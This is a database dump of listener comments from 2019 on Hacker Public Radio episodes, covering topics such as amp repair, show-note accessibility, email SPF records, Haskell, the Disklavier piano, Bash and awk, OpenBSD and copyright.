(2648,2759,'2019-02-28 21:21:52','NYbill','Stepping on toes!','Stealing a show I had planned, Jon! \r\n\r\nhttps://media.gunmonkeynet.net/u/nybill/m/winter-to-do-list-fix-this/\r\n\r\nAll right, all right. You beat me to it fair and square. \r\n\r\nBTW, there is contact cleaner that is specifically made for music gear and it does contain a lubricant.  Its made by DeoxIT and the line of products is called Fader (Their font choice on \'Fader\" looks awful familiar! \r\n\r\nAlso, I would say your saturation is not working properly, if at all. That thing should give you all the Hair Metal distortion you could ask for.  :P\r\n\r\nYou might have a problem with the foot pedal. I had this same issue in the past. You might be stuck in NORM GAIN.  And the pedal is not switching into LEAD GAIN (where the Saturation is).\r\nThe problem I used to have is, the 90 degree jack for the foot pedal does not retain/grip the cable in any way. Any tug on the cable can break a solder joint inside. Its something to check out. Its only a couple screws. \r\n\r\nGood luck!  And get some hair spray!','2022-02-14 13:25:10'),
(2649,2759,'2019-03-02 15:14:57','Jon Kulp','Never too much about 80s gear','Haha Sorry, Bill! Please do the show anyway. I think the foot pedal is actually working fine, it\'s just that I didn\'t realize it was switched over to the other channel while I was working on the amp and the foot pedal wasn\'t actually plugged in at the moment. I realized my mistake when I plugged the foot pedal in and stepped on it and suddenly saturation was working because it was on the right channel. \r\n\r\nThanks for the tip on the cleaner / lubricant. I think I will check with my audio engineering faculty guy and see if he\'s got a can sitting around that I can blast some into the pots without having to pay twenty bucks for a can myself. :)','2019-03-02 15:16:44'),
(2650,2761,'2019-03-04 01:26:28','Mike Ray','Media embedded show notes','NO, NO, NO!\r\n\r\nThis is likely to be an accessibility nightmare and might well render it impossible for blind participants like me to read the notes at all.\r\n\r\nI admit I rarely consult the notes, except for shows with a *strong* hacker twist, like the shows about xsd or Dave\'s bash series of shows.\r\n\r\nAnything which is likely to have links, such as links to github repositories, or fragments of code I might like to copy and paste and fiddle about with.\r\n\r\nI can\'t imagine that other people who refer to show not3es for clicking on links will be helped by embedding text into media files either.\r\n\r\nAnd while on the subject, I have not seen this yet on HPR I think, but when anybody includes the output from cli stuff in show notes, posting screen-shots of console or terminal output also makes it impossible for me to access the text.\r\n\r\nKeep the show notes as separate text please and don\'t embed them into media.  If you do, maybe we can have them as both.','2019-03-04 09:00:15'),
(2651,2762,'2019-03-05 04:52:48','tuturto','oh, wow','This was way deeper episode than what I expected after listening couple more minutes. Really great, albeit sad at the same time (just like life) show.\r\n\r\nReminds me time when I started role-playing games and how I as a dungeon master couldn\'t bring myself to actually get players killed, but had to always come up with a some way to save them. Players had fun, but challenge wasn\'t really there.','2019-03-05 07:57:02'),
(2652,2749,'2019-03-07 07:02:10','Klaatu','We are stupid','Page 19 has 3 tables (2-1 through 2-3) with a summary of bonus values for race, themes, and class.\r\n\r\nI think two lessons learned:\r\n\r\n0. use the official character sheet when building a character for the first time\r\n1. actually read','2019-03-07 08:28:21'),
(2653,2708,'2019-03-07 18:49:22','Klaatu','You\'re welcome','I\'m glad this helped, Steve.\r\n\r\nYou\'re not the only one this episode has helped. I\'ve referred back to it at least fortnightly since posting it!','2019-03-07 20:59:01'),
(2654,2763,'2019-03-09 17:35:27','b-yeezi','Thanks for the help','I used this episode to help me understand why some of my email was ending up in people\'s spam box. I added an SPF record, and now all is well! Thanks.','2019-03-09 18:07:02'),
(2655,2763,'2019-03-11 09:46:52','pauleb','Great explanation!','It\'s been a while since I set up my email - server with SPF, DKIM and DMARC. Since I\'m about to migrate it to another server this has been a valuable reminder of what SPF is about.\r\nI also think it is much clearer than every guide I read at the time I had to set it up.\r\n\r\nWell written by deepgeek and well read and extended by Klaatu - Thank you two!','2019-03-11 12:07:35'),
(2656,2764,'2019-03-12 04:26:51','Steve','LessPass','There is an open source project called LessPass that is trying to solve the password management problem in much the same way that you are describing. Passwords are generated in a deterministic and algorithmic way using a master password, some known values related to the site, and some cryptography.\r\n\r\nThere are two challenges that I see with this concept. The first one, that you made reference too, is how do you write an algorithm that will generate a password that will be acceptable to the policies of any site.\r\n\r\nThe second is, how do you deal with sites that insist that you change your password from time to time? In order to do that, you about have to change your algorithm, which means that all your other passwords will be broken.\r\n\r\nIf these two problems can be solved, I\'d be all for this type of password management.','2019-03-12 07:42:33'),
(2657,2766,'2019-03-12 18:51:48','Joel D','The Letters C and F','Klaatu mentioned he wasn&rsquo;t sure what the &lsquo;f&rsquo; in &lsquo;fdisk&rsquo; stood for. I had always been positive it stood for &ldquo;format&rdquo; because DOS had an fdisk command and that was pretty much its main use. However, I looked it up just now and turns out I was wrong, it stands for Fixed, as in Fixed Disk Setup Program.\r\n\r\nHe also seemed unsure of the reason why the main hard disk is usually C in Windows machines. PCs would originally boot off the floppy drive, which was always A, and for convenience, a second floppy drive was often added and it was always B. So the hard drives started with C. I don\'t think there\'s any technical reason A and B haven&rsquo;t been reclaimed, but when I read `A:` or `B:` in a path, I still think &ldquo;floppy disk&rdquo;. At any rate, the whole scheme is sad and dumb!','2019-03-12 19:17:39'),
(2658,2766,'2019-03-13 19:21:21','Klaatu','Thanks for the info Joel','I guess I could have looked up fdisk. Thanks for overlooking my laziness.\r\n\r\nVery enlightening about the C drive! I can respect extreme backward-compatibility, so I don\'t mind that they don\'t reclaim A or B. That said, the scheme is pretty stupid. I\'m surprised it stuck around, but I guess once they\'d made the decision, they just figured it was too late to change. It seems the more I learn about the historical Microsoft, the more I feel like it was started with no prior research, but then again maybe I\'m biased because we live in such an open source world. After all, maybe back in the early 80s you couldn\'t just call up Bell Labs and ask if the way you\'re programming disk detection made sense or not.','2019-03-13 22:14:22'),
(2659,2766,'2019-03-14 13:12:14','Ahuka','Old drive letters','klaatu, remember that inertia is the most powerful force in the universe.','2019-03-14 13:13:21'),
(2660,2768,'2019-03-15 02:46:39','Klaatu','Agog and aghast','This is just so cool. The worldbuilding part makes me want to write a script to generate random solar systems with unique planets and constellations. \r\n\r\nI love this project, keep going!','2019-03-15 07:37:18'),
(2661,2768,'2019-03-15 16:23:35','tuturto','this made my week','Thanks Klaatu, this really made my week. I try to work on the game at least a little bit every day, but sometimes progress feels super-slow. I do like building mechanisms that mimic places and their inhabitants and hopefully eventually allow emergent stories to pop up. Until that day, it\'s slow work of adding one more cog to the machinery.','2019-03-15 16:45:25'),
(2662,2773,'2019-03-20 08:31:41','tuturto','Good to know','This is sure to come handy. We\'re driving only short distances with car and while it hasn\'t yet damaged the battery, I suspect it will eventually do that. I\'ll have a look at the type of the battery and see if smart charger would be a good idea. Thanks for the information, I wouldn\'t have learned this otherwise I think.','2019-03-20 11:47:12'),
(2663,2773,'2019-03-20 23:47:36','Nybill','Good Info','Nice job, man. I never knew about the different charging levels for different types of vehicle batteries.  I always just bought one that fit, and threw it in. \r\n\r\nI\'ll be more careful next time.','2019-03-21 09:45:28'),
(2664,2774,'2019-03-21 04:53:06','tuturto','fascinating','I hadn\'t ever heard of CJDNS or Yggdrasil  before, so I learned more today (and I\'m not even done with morning coffee). I would love to hear more on what one could do with mesh networks (broad topic, I know).','2019-03-21 09:45:28'),
(2665,2774,'2019-03-21 18:55:56','Brian-in-Ohio','more shows','Great show. I hope you do more podcasts on any of the topics you mentioned in the show. Don\'t hesitate to give detail!','2019-03-21 19:13:51'),
(2666,2774,'2019-03-21 19:59:24','norrist','gentoo','I have not used Gentoo on well over 10 years.  Could you do a show about why you are using Gentoo and how it compares to debian/ubuntu/fedora/...?\r\n\r\nYou expressed some concern about your microphone, but there was no problem with your audio.  Loud and Clear.','2019-03-21 20:38:25'),
(2667,2774,'2019-03-25 01:10:45','Gavtres','IPv6 end to end encryption','Interesting. I am right now learning how to use Wireguard for end-to-end encryption. Wondering how it works in IPv6. Different approach but similar goal.','2019-03-25 08:56:36'),
(2668,2776,'2019-03-25 13:17:25','operat0r','fun stuff','long time listener almost first time comment.\r\n\r\nI wanted to say I\'ve always enjoyed your podcast. I don\'t read books or play d&amp;d but I do watch a fair amount of TV and movies.\r\n\r\nYou can hear the amount of passion and what you\'re explaining and I personally feel almost smarter when I can go back and understand why a story I remember was great or horrible!','2019-03-25 13:33:55'),
(2669,2778,'2019-03-28 19:23:07','Beeza','Intuitiveness Of Haskell','I\'ve been writing software for over 30 years but I find the syntax of Haskell anything but intuitive - in  fact less so than any other programming language I have looked at. Thanks to your excellent show notes I can make sense of it but I have to say I would not like to have to develop a project using this language.\r\n\r\nObviously I am missing the point as nobody would design a language with the intention of its being difficult to use. Perhaps you could produce another episode addressing the question \"Why Haskell?\"\r\n\r\nAn excellent episode for all that.....Thanks.','2019-03-28 19:42:32'),
(2670,2777,'2019-03-29 00:41:09','Beeza','Computer Requirements Specification','Hi Knightwise\r\n\r\nWhenever we are in the market for a new computer I think we inevitably want to get as close to the latest technology as our budget will afford. However, I think that can lead to a subconscious over-specification of our requirements as a way of justifying the purchase.\r\n\r\nA few years ago I had selected a very nice Sony laptop that I convinced myself was exactly what I needed to support my work. Unfortunately an unforeseen breakdown of my car meant I had to spend roughly half of my budget to get it fixed and back on the road.\r\n\r\nI still needed a new laptop but the Sony was now out of the question. I revisited my requirements and realised that many of my \"must haves\" were really \"would like to haves\". If it took a minute or two longer to rip a DVD did it really matter? If it took an extra few seconds to open a very large image-laden document was that really the end of the world?\r\n\r\nBy adopting this approach I found I was able to purchase a Dell rather than a Sony with what was left of my budget and its few relative shortcomings were almost immediately forgotten.','2019-03-29 08:11:42'),
(2671,2778,'2019-03-29 03:54:52','tuturto','thanks and great idea','Thank you for the comments and episode idea. Haskell certainly is drastically different language compared to many others and learning curve can be steep. Sometimes it feels like I\'m reading a math paper when I want to check for some feature or learn a new thing.\r\n\r\nI\'ll make a note and record an episode \"Why Haskell\" at somepoint in close future. There\'s quite many Haskell episodes in the queue and I don\'t want Hacker Public Radio turn to Haskell Public Radio, so it might take a month or two.','2019-03-29 08:11:42'),
(2672,2779,'2019-03-31 12:57:10','Hipstre','Enjoyed it, sounded great','Thanks for the podcast. I learned a lot. These protocols are fascinating, because to the end user, a few bytes here or there seem to be insignificant. But across the entire network, a few bytes here or there can add up to millions of dollars.\r\n\r\nOh, and the audio is great.','2019-03-31 14:18:54'),
(2673,2774,'2019-04-01 07:15:44','clacke','Yggdrasil pronunciation','As a Scandinavian, I can say that your pronunciation of Yggdrasil is entirely accurate, and if anyone doubts it, they can hear Hugo Weaving pronounce it in much the same way in \"Captain America: The First Avenger\", which by coincidence I saw only a few days later.','2019-04-01 07:30:36'),
(2674,2739,'2019-04-01 10:45:25','clacke','local','More on what local variables are and how they work in episode https://hackerpublicradio.org/eps.php?id=2807 .','2022-02-14 13:25:10'),
(2675,2779,'2019-04-01 10:48:48','clacke','audio quality','Take it from someone who records shows on their mobile phone: Your audio quality is great. :-)','2019-04-01 11:16:19'),
(2676,2784,'2019-04-04 07:54:17','tuturto','music to ears','Music to ears, literally. That disklavier must be really high tech as it can replicate playing so well. And watching the video of disklavier playing was really nice bonus. This reminded me of time when as a wee lad I made a trip to museum of mechanical music and they had completely mechanical piano that could play different dynamics, flourishes and what not.','2019-04-04 08:19:11'),
(2677,2784,'2019-04-04 09:15:34','Jan','Translations','Hello folks,\r\n\r\nDiskette is the German word for floppy disk.\r\n\r\nKlavier is the German word for piano.\r\n\r\nTastatur is the German word for keyboard (at least in terms of computers).\r\n\r\nA pianos keyboard would be called Klaviatur.\r\n\r\nSo Disklavier can be split into Diskette and Klavier.\r\n\r\n\r\nThanks for the fine show :-)','2019-04-04 09:16:59'),
(2678,2783,'2019-04-04 10:08:59','Bubba','Shutdown.exe command','Thanks for the insight. There\'s a scheduled power outage at work next month, and with this I can make sure everybody\'s workstation is shut down properly without running around and looking at power lights.','2019-04-04 10:22:55'),
(2679,2784,'2019-04-04 11:15:46','Jon Kulp','Ok but it wasn\'t the \"Well-Tempered Piano\"','But remember, in 1722 Bach wrote Das Wohltemperierte Klavier, and at the time the \"piano\" as an instrument did not exist. It had to mean either keyboard or harphsichord or clavichord. Keyboard is most generic.','2019-04-04 11:35:20'),
(2680,2784,'2019-04-05 14:08:48','Gavtres','So cool!','I&rsquo;m not by far music &ldquo;literate&rdquo; but the technology in this is so mesmerezing. I&rsquo;m wondering it the tech exists for other types of instruments,  i.e. wind, percussion.','2019-04-05 14:20:55'),
(2681,2784,'2019-04-05 21:00:50','Dave Morriss','What a wonderful device!','Hi Jon,\r\n\r\nI loved this! It\'s a magnificent instrument. I never knew there was anything quite so sophisticated.\r\n\r\nI watched the \'Music Machine Mondays\' on the Wintergarten Youtube channel a couple of years ago. They visited the Speelklok Museum in Utrecht and looked at the marvels there (playlist at https://www.youtube.com/playlist?list=PLLLYkE3G1HEBO1slIc1RRfcfSsGyv2oMu) but this Disklavier is a significant evolution of these machines.\r\n\r\nListening to your show I was reminded of a thing I liked to listen to when I was a kid: \'Sparky\'s Magic Piano\' (https://en.wikipedia.org/wiki/Sparky%27s_Magic_Piano). It was often on the radio on Saturdays on a children\'s music programme. This was probably in the 1950\'s.\r\n\r\nI was slightly puzzled by the pronunciation of \"Disklavier\", thinking it should be pronounced the French way. A bit of Googling proved me wrong - and you right of course! In my defence I used to live in an area of rural England with many villages named after Norman French families which were pronounced strangely (to my ears). My favourite was Little Hautbois, an easy cycle ride away, called by the locals \'Hobbis\'! (https://en.wikipedia.org/wiki/Little_Hautbois)','2019-04-05 21:02:12'),
(2682,2784,'2019-04-06 05:24:14','Guy','How far away are you?','You said you could listen over the internet no mater how many 100s of thousands of miles away you are.  What moon/planet would that be?  :)\r\n\r\nSorry, I could not resist.\r\n\r\nIt was an interesting show, thanks.','2019-04-06 10:56:42'),
(2683,2784,'2019-04-06 13:40:13','Jon Kulp','\"or\" not \"of\"','Whoops I thought I said hundreds or thousands, not hundreds *of* thousands. ^_^','2019-04-06 13:46:48'),
(2684,2783,'2019-04-06 14:12:22','ClaudioM','Also Useful with PsExec from Sysinternals Suite','Glad you found it useful.  While you can use it alone, it\'s also useful with tools like PsExec from the Sysinternals suite. I might do an episode about that particular command as well. That suite has so many tools but PsExec is the one I use the most.\r\n\r\nhttps://docs.microsoft.com/en-us/sysinternals/\r\n\r\nYou could probably create a batch file or Powershell script to go through a list of hostnames and have them reboot/shutdown remotely.','2019-04-06 14:18:38'),
(2685,2787,'2019-04-10 05:48:31','tuturto','looking for more','Great start for the series! I love learning how people are learning new skills like programming languages.','2019-04-10 07:10:11'),
(2686,2789,'2019-04-11 04:39:04','tuturto','what about non-fictional stories','I love listening to this series and started wondering, how applicable and/or easy would it to adapt these topics in non-fictional story that isn\'t a story at all? If there\'s a book that teaches readers about programming, can some of these topics be still relevant? Could a study book build towards some climatic revelation that is hinted more and more as it comes closer and then revealed in all its glory?','2019-04-11 08:43:31'),
(2687,2784,'2019-04-14 03:23:34','Windigo','Library of Congress','First of all, this has been one of my favorite shows of all time. What a fascinating musical instrument, not to mention a cool piece of technology!\r\n\r\nBut then you drop this in nonchalantly:\r\n\r\n\"I was working at the Library of Congress in Washington, DC, one Summer...\"\r\n\r\nDude, it\'s possible that you\'ve covered this elsewhere, but I\'d listen to a whole show about how that happened. It\'s always great to hear from you!','2019-04-14 09:24:34'),
(2688,2784,'2019-04-15 21:15:28','Jon Kulp','A great summer job','Hi Windigo, thanks for the comment. Yes, I did work at the Library of Congress in the summer of 1993 as a \"Junior Fellow,\" a paid internship that was quite prestigious. I don\'t know if they still have this or not. It was an amazing gig for a musicology nerd to get to work in the Music Division helping to process the recently acquired archives of Aaron Copland. Maybe this *is* worth an episode of its own!','2019-04-15 21:19:57'),
(2689,2784,'2019-04-18 12:18:30','Jon Kulp','Older near-perfect player pianos','Dave, sorry it took me so long to respond to your very thoughtful comment. I appreciate the link to the self-playing instruments video podcast. There are some really good ones in there. I\'m especially impressed by the Self Playing Steinway Duo-Art Piano - recorded by Sergei Prokofiev. That one is nearly as faithful to the actual playback as the Yamaha Disklavier, but is limited by the length of the paper that is recorded on. It\'s an analog equivalent, incredibly accurate in its reproduction. There were earlier ones, too. That whole phenomenon would merit an entire series but I don\'t know that much about it haha!','2019-04-18 12:26:00'),
(2690,2793,'2019-04-22 12:09:22','Dave Morriss','I really enjoyed this!','Thanks clacke, I enjoyed this a lot. Nice to be on the receiving end of the Bash info for a change ;-)\r\n\r\nCommand substitution:\r\nIt\'s my understanding that the newer $() form is an improvement on the older `` form largely because the substitutions can be nested. At least, when I found it years ago I was excited to be able to nest them! I assume it\'s nestable because the new form is easier to parse.\r\n\r\ncoproc:\r\nThis seems cool, though a little involved. I\'d looked briefly but hadn\'t really thought about the feature. Thanks for covering it.\r\n\r\nSince b-yeezi and I have awoken the Awk series from its hibernation recently, I\'m going to cover redirection and Awk\'s coprocess feature as well. Episode 15 is almost ready to be recorded and uploaded.','2019-04-22 12:10:14'),
(2691,2798,'2019-04-24 08:28:23','tuturto','Yarrr, record me episodes','Now that mandatory pirate speak has been done, I can comment. There\'s market for both kinds of podcasts, grassroots ones and more slick and commercial ones. Latter ones won\'t disappear as long as there\'s money to be made, so it\'s our task to keep the more grassroots style alive.','2019-04-24 11:07:09'),
(2692,2457,'2019-04-25 11:42:03','Bart','aren\'t you forgetting a hub?','you have the cable and case, but you need a USB-C hub / dock to connect your old usb stuff, you can get them at various websites:\r\nhttps://www.usb-c-adapters.nl','2019-04-25 11:46:00'),
(2693,2796,'2019-04-25 11:48:37','cogoman','Credit card security','Though I hate the Capitol Onr commercials, they have something new and notable.  Their ENO product is a credit card that gives you a new credit card reference number for each vendor you buy from, so if your credit gets stolen, you only lose the one reference number, and all the other bills you pay with your credit card are unaffected. On top of that, you know which vendor compromised your credit card.','2019-04-25 11:49:52'),
(2694,2798,'2019-04-27 21:17:22','Dave Morriss','Memories of early podcasts and pirate radio','Hi Knightwise,\r\n\r\nInteresting show. I started listening to podcasts in 2005 or thereabouts. I\'d just bought our first family PC (Windows, yuk!), signed up to my first ISP, and had started looking for stuff to listen to. I bought my first MP3 player that year, an iRiver iFP-899, and was using Juice or similar as my podcatcher.\r\n\r\nYes, I listened to the Daily Sourcecode and to Dave Winer (originator of RSS). Some great times!\r\n\r\nI also remember Pirate Radio from the 1960\'s. I was at school in Norfolk, in the east of England, and we all listened to Radio Caroline (https://en.wikipedia.org/wiki/Radio_Caroline) and Radio London (https://en.wikipedia.org/wiki/Wonderful_Radio_London) from ships off the east coast. I\'d listen to Veronica at times, but not a lot since it was in Dutch and the signal wasn\'t as good as I  recall. Also good times though!\r\n\r\nThanks for the memories ;-)','2019-04-27 21:28:46'),
(2695,2798,'2019-04-29 16:39:28','DudeNamedBen','Da Podfather, Adam Curry','This is a great rant, Knightwise, but you don\'t spend any time talking about what Adam has been up to lately, which is EXACTLY  the kind of  podcast you are encouraging all of us to create and explore. From your handle, I assumed you were also a Knight of the No Agenda Roundtable, but you failed to even mention Adam\'s twice a week podcast done with the cranky geek himself John C. Dvorak. You need to hit more people in the mouth about the No Agenda Show (https://dvorak.org/na) Noagendashow.com\r\n\r\nConsider yourself clobbered, dude!','2022-02-14 13:25:10'),
(2696,2793,'2019-05-04 11:20:57','clacke','Re: backquotes vs dollar-paren','Yes, that\'s why the dollar-paren was introduced. Backquotes can be nested too, but that requires escaping them with backslashes and we don\'t want to go there if we can avoid it.\r\n\r\nApart from the nesting thing, I find dollar-paren easier to read, especially when enclosed in double-quotes, as it usually is.\r\n\r\nI thought that one difference between the two is that dollar-paren trims any trailing newlines, but it turns out I was wrong -- they both do that, so the difference is purely about quoting and readability.','2019-05-04 12:13:24'),
(2697,2798,'2019-05-07 02:58:21','Klaatu','This is one of those episodes...','This is the kind of episode I\'d love to have played on NPR or some de facto talk radio station. On the one hand, it\'s \"preaching to the choir\" here on HPR, but then again, the topic is actually bigger than just podcasting. Where have all the blogs gone? the little indie websites and fansites? The Internet in general is a lot more cookie-cutter now than I think it was ever meant to be. As  Dave Morriss says in an earlier comment, it\'s up to us to keep grassroots alive.','2019-05-07 07:16:02'),
(2698,2806,'2019-05-09 03:59:48','clacke','Yggdrasil and Hollywood','I didn\'t mention Hugo Weaving because a superhero movie is a credible source for accuracy, but for reference because he happened to be accurate. :-)','2019-05-09 07:16:17'),
(2699,2793,'2019-05-09 04:17:22','clacke','Re: awk coprocesses','I heard your comment again on the Community News and discovered that you were talking about awk coprocesses also, not just backticks. :-)\r\n\r\nI didn\'t know about them! Looking forward to the episode.\r\n\r\nFor anyone wanting to read ahead of the class, the documentation page is here:\r\n\r\nhttps://www.gnu.org/software/gawk/manual/html_node/Two_002dway-I_002fO.html','2019-05-09 07:16:17'),
(2700,2793,'2019-05-09 08:57:35','Dave Morriss','Regarding awk coprocesses','Hi clacke,\r\n\r\nYes, thanks for the link. I thought \"I put that link in my notes\", went and looked and found I\'d messed it up, so I just fixed it :-)\r\n\r\nThe show is number 15 in the series and is now on the site as https://hackerpublicradio.org/eps.php?id=2824','2019-05-09 09:01:39'),
(2701,2806,'2019-05-09 13:52:59','clacke','HKOSCON2019','I am aware of the conference, but frankly I haven\'t seen anything in the schedule that would draw me there. It\'s a mix of corporate promotion, blockchain and random student projects ... nothing about languages or development frameworks or services, which is what interests me the most. I don\'t feel a free software pulse there, no work toward building a Hong Kong free software community.','2019-05-09 13:57:55'),
(2702,2809,'2019-05-09 15:05:58','norrist','The show _was_ fun','This was a great episode.  Lots of listeners including myself are interested in the legal aspects of hacking.  Thanks for the deep dive.\r\n\r\nOne of my _other_ favorite podcasts is related to this episode - https://faif.us/','2022-02-14 13:25:11'),
(2703,2813,'2019-05-15 06:44:53','Yannick','Should we dump Windows?\n','Hi Knightwise. While for the most part I agree with your arguments about using cross platform applications, I think the title of this comment is as valid as the title of your episode : I can run Audacity on my linux desktop, I can run firefox and freemind and Visual Studio Code. So, my question is, should we dump Windows ?\r\nAnd the answer is obviously \"no\", because both our questions are flawed. Should __I__ dump Windows ? Should __you__ dump linux desktop ? Now those are valid questions. I have personally made the choice to ban Windows from my house, because I can do everything __I__ need on a linux desktop. You said that you can\'t write documents or make presentation on Linux and that is a perfectly valid reason for __you__ to dump the linux desktop. But as a general rule, no, __we__ should not dump any desktop, be it macOS, Windows, Linux, or any of the exotic ones. As you said in this episode, it\'s all about choice.\r\n\r\nAlso, you mentioned OpenOffice in this episode. I really hope you meant LibreOffice. Because OpenOffice... well... need I say more ? By the way, LibreOffice runs on windows, mac, linux and android. Another great example of cross platform software.\r\n\r\nAnyway, thanks for sharing your thoughts, and even though I don\'t agree with all of them, I appreciated your point of view.\r\n','2019-05-18 07:42:42'),
(2704,2813,'2019-05-15 07:19:30','Hipstre','Do We Need Linux?','There is a lot to agree on here. Thank you for the podcast! I certainly agree that the distro-obsessiveness is absurd, and there should be more of a focus on applications. And there is so much overlap and duplicated effort in every area of software in the Open Source world.\r\n\r\nI tend to think that Microsoft\'s recent dalliance with \"openness\" is just a case of Embrace, Extend, Exterminate. Essentially, an attempt to get Computer Science students and Programmers to think of the Command Line, and Linux as an esoteric extension of Windows. But who knows what they are thinking.','2019-05-15 07:45:53'),
(2705,2809,'2019-05-16 02:35:26','Joel D','re: norrist','Thanks for the feedback and the podcast recommendation! I&rsquo;ll definitely be adding it to my queue.','2019-05-16 07:45:22'),
(2706,2813,'2019-05-16 17:32:43','DV','Response to knightwise','Knightwise, I respect your knownledge in computers. But I disagree on one point. You said something like, when you need to get things done, only windows and Mac can do it. Maybe so for you, butI can do many things in Linux at least for my needs. I\'ve been using Linux for 21 years.','2019-05-16 17:53:08'),
(2707,2813,'2019-05-17 10:45:17','DeepGeek','Desktop is Dead','Love this cast and your own personal podcast off this network! \r\n\r\nThat being said, I wanted to say something again that I said in one of my podcasts, and that is that the desktop is dead.  Not dead in the sense of no longer being developed, but the whole concept of the desktop is outmoded.  For most people, they\'re day-to-day is their personal tablet and/or smartphone.  I know many people who no longer would want a desktop or laptop.  For me, my companies computer techs have such a bad system setup that most of the rank and file will use any phone app they can get on they\'re hands on in order to avoid using the shard desktop machines our company provides. \r\n\r\nI love my personal desktop environment, and the lack of customization for windows and mac keeps me on linux.  Every time I consider going back to windows I eventually end up wistfully checking the status of things like BB4Win and searching for alternative gui shells.  If you care about your personal computing environment, you need linux.  It\'s like this, in America a car enthusiast would probably want to be in California because California has a \"car culture.\"  If you want your environment to respond to what you think it should be for you, you have to do linux.\r\n\r\n---\r\nDeepGeek','2019-05-17 12:34:17'),
(2708,2813,'2019-05-17 12:32:17','Snapdeus','Linux desktop','The Linux desktop gives up and coming sysadmins a playground to learn Linux - which they will need to know for server administration.','2019-05-17 12:34:17'),
(2709,2814,'2019-05-17 14:29:33','ClaudioM','Hello, Fellow Puffy Disciple!','Pretty good episode on the speculative execution stuff that Intel and others are dealing with.  And don\'t feel alone, I also run OpenBSD as of late! Been dabbling with the BSDs since 3 years ago and, of all of them, OpenBSD is closest to my heart.  I\'m running OpenBSD-current on an old Toshiba Portege M400 convertible tablet PC as well as on a ThinkPad x230 at work.  Yeah, certain things like wireless aren\'t up to par yet as they are on Linux or even FreeBSD (which I also run on a laptop at work), but it is a great OS with great security and support. Another HPR contributor by the name of Sigflup also runs OpenBSD, and to be honest, her use of it was what piqued my curiosity to the OS. So, rest assured, you\'re in good company as an OpenBSD user on HPR. ;-)','2019-05-17 16:39:29'),
(2710,2504,'2019-05-23 07:07:41','Ken Fallon','This needs to be a video','Can someone please step forward and do a video of this with this show as the audio track.\r\n\r\nThis link has also been recommended by a colleague https://learngitbranching.js.org/','2019-05-23 09:35:33'),
(2711,2794,'2019-05-26 17:53:35','Klaatu','Great interview','This was the most informative \"origin story\" story of a distribution I\'ve ever heard. The little details (like building the initial distro in droplets on Digital Ocean, based on a $10 voucher) are fascinating, and provide real insight into how some of these cool \"little\" projects actually happen. Thank you for this, Yannick-the-French-guy-from-Switzerland!','2019-05-26 18:07:16'),
(2712,2827,'2019-05-30 03:32:04','Christopher M. Hobbs','event cancellation','Sadly, this event was cancelled before the show aired.  There was serious flooding in the area.  Luckily everybody is safe.','2019-05-30 07:31:50'),
(2713,2827,'2019-06-04 07:06:59','tuturto','sorry to hear about cancellation','Sorry to hear that the event got cancelled, it sounded really exciting. When you in the beginning were talking about capture the flag, I was under impression that it would be the kid\'s game, where you\'re trying to steal flag from opposing team. Only after you started talking about lockpicks and hacking it dawned to me what kind of capture the flag you\'re talking about here. Super interesting episode, I hope you can eventually make one about actual event (different one than cancelled of course).','2019-06-04 07:54:38'),
(2714,2829,'2019-06-06 15:14:26','Joel D','Fair Use','Ken makes a key point when he says &ldquo;While the host may be correct, if they are not, then it is me and not the host that will be held responsible for posting it. I do not want that responsibility.&rdquo;\r\n\r\nMy two questions are, 1) What exactly is the nature of the two remaining clips whose inclusion is problematic? and 2) what would &ldquo;being held responsible&rdquo; mean in practical terms?\r\n\r\nOn the first point, how long are the clips and what are they of? Music? Broadcast footage? Do the clips comprise the entire original work or do they amount to a minor quotation?\r\n\r\nIn the US, Fair Use is an actual legal limitation of creators\' rights under copyright law. The US also has the DMCA, which effectively allows providers to host anything, and if a copyright holder has a problem with their stuff being included somewhere they can file a takedown notice and the provider handles it by simply removing the content in question. But this is not the case in other countries, particularly the EU where there has been a lot of, shall we say, new development in this area recently.\r\n\r\nIf the answer to (1) is \"the two clips are actually entire Beatles songs\"&hellip;then there isn&rsquo;t really a legal defense no matter what jurisdiction we\'re talking about.\r\n\r\nBut even if the answer to (1) is \"They are fifteen-second excerpts from an hour-long lecture given at a public university\", &hellip;If the answer to (2) is \"we don\'t/can\'t know so we are acting out of an abundance of caution\" I can respect that.','2019-06-06 15:17:30'),
(2715,2807,'2019-06-06 21:02:23','Dave Morriss','Thanks for this','I would have commented on the Community News show but couldn\'t make it due to my audio being messed up!\r\n\r\nI really appreciated this episode because it made me realise I was a bit unclear about the issues.\r\n\r\nThe first language I learnt was Algol 60 (around 1970), and later used Pascal a lot. The Algol course was as a Biology undergraduate where they were trying to make us appreciate how we could use computers in our subject. (This was way before Bioinformatics, so we were mainly writing statistical stuff and learning how to plot results).\r\n\r\nAnyway, these languages exposed me to lexical scoping, as you mentioned, and I guess I haven\'t really reflected on the nuances of dynamic scoping since then.\r\n\r\nSo, thanks for the eye-opener ;-)','2019-06-06 21:03:59'),
(2716,2829,'2019-06-07 11:32:43','Ken Fallon','We don\'t know','In answer to \'1)\' we don\'t know the nature, nor should we. This is HPR and any host can post whatever they wish without us checking it. If they don\'t tell us it contains copyrighted material we would never know.\r\n2) I don\'t know but I do know I don\'t want to find out.','2019-06-07 11:41:53'),
(2717,2830,'2019-06-10 11:40:40','folky','plumble is better than I thought.','Who would have thought that plumble should give my voice in such a good quality - not to forget over 4G in a train going more than 180 km/h if I remember right. Next time I should record a show live on my Nexus 6 over plumble in the train instead of my room with the fan right above my head ;-)','2019-06-10 12:32:00'),
(2718,2830,'2019-06-10 11:45:00','folky','More %','The command in the shownotes is missing a %-sign. It should end with %S%Z_%A','2019-06-10 12:32:00'),
(2719,2830,'2019-06-10 12:38:04','Dave Morriss','Missing \'%\' in date command','Hi folky,\r\n\r\nThanks for the correction. I have made the change to the notes.\r\n\r\nDave','2019-06-10 12:41:14'),
(2720,2831,'2019-06-10 14:22:48','b-yeezi','Just what I was looking for\n','I had tried NagiosPi and came to the same conclusion as Robbie. This looks like it will be a great alternative. I will definitely be contributing and recommending this software. Thanks to Robbie for the great project and to Yannick for the fantastic episode.','2019-06-13 07:18:23'),
(2721,2832,'2019-06-11 21:49:10','NYbill','Welcome!','Welcome aboard, man.  Part of the crew now.  ;)','2019-06-11 21:50:55'),
(2722,2833,'2019-06-14 19:41:40','Ahuka','Great show!','I really enjoyed this interview. Impostor syndrome is something I think we all deal with at some time or other, and he had good things ot say on the subject. Please keep interviewing interesting people like this.','2019-06-14 19:55:31'),
